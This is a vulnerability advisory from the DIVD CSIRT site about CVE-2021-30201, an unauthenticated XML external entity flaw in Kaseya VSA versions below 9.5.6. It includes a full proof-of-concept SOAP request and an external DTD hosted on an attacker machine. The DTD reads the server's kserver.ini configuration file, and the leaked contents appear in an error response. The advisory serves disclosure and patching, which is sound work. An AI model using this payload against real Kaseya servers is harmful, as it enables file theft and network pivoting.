DIVD CSIRT

Making the internet safer through Coordinated Vulnerability Disclosure

- Home
- Cases
- CVEs
- Blog
- Donate
- Search...
- RSS
- Contact

CVE-2021-30201 - UNAUTHENTICATED XML EXTERNAL ENTITY VULNERABILITY IN KASEYA VSA < V9.5.6

CVE	CVE-2021-30201
Case	DIVD-2021-00011
Discovered by	• Wietse Boonstra
Credits	• Discovered by Wietse Boonstra of DIVD • Additional research by Frank Breedijk of DIVD
Products	Kaseya: • Kaseya VSA
Versions	Kaseya: • Kaseya VSA • 9.x (< 9.5.6)
CVSS	Base score: 7.5
References	• https://csirt.divd.nl/2021/07/07/Kaseya-Limited-Disclosure/ • https://helpdesk.kaseya.com/hc/en-gb/articles/360019966738-9-5-6-Feature-Release-8-May-2021

- https://csirt.divd.nl/DIVD-2021-00011
- https://csirt.divd.nl/CVE-2021-30201

Solution	Upgrade to version 9.5.6 or higher
Last modified	14 Dec 2022 20:32

DESCRIPTION

The API /vsaWS/KaseyaWS.asmx can be used to submit XML to the system. When this XML is processed (external) entities are insecurely processed and fetched by the system and returned to the attacker.

Detailed description

Given the following request:

```
POST /vsaWS/KaseyaWS.asmx HTTP/1.1
Content-Type: text/xml;charset=UTF-8
Host: 192.168.1.194:18081
Content-Length: 406

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:kas="KaseyaWS">
   <soapenv:Header/>
   <soapenv:Body>
      <kas:PrimitiveResetPassword>
         <!--type: string-->
         <kas:XmlRequest><![CDATA[<!DOCTYPE data SYSTEM "http://192.168.1.170:8080/oob.dtd"><data>&send;</data>]]>
</kas:XmlRequest>
      </kas:PrimitiveResetPassword>
   </soapenv:Body>
</soapenv:Envelope>
```

And the following XML file hosted at http://192.168.1.170/oob.dtd:

```
<!ENTITY % file SYSTEM "file://c:\\kaseya\\kserver\\kserver.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;
```

The server will fetch this XML file and process it, it will read the file c:\kaseya\kserver\kserver.ini and returns the content in the server response like below. Response:

```
HTTP/1.1 500 Internal Server Error
Cache-Control: private
Content-Type: text/xml; charset=utf-8
Date: Fri, 02 Apr 2021 10:07:38 GMT
Strict-Transport-Security: max-age=63072000; includeSubDomains
Connection: close
Content-Length: 2677

<?xml version="1.0" encoding="utf-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instanc
# This is the configuration file for the KServer.
# Place it in the same directory as the KServer executable
# A blank line or new valid section header [] terminates each section.
# Comment lines start with ; or #
########################################################################
<snip>
```

SECURITY ISSUES DISCOVERED

- The API insecurely resolves external XML entities
- The API has an overly verbose error response

IMPACT

Using this vulnerability an attacker can read any file on the server the webserver process can read. Additionally, it can be used to perform HTTP(s) requests into the local network and thus use the Kaseya system to pivot into the local network.

JSON version

Twitter

LinkedIn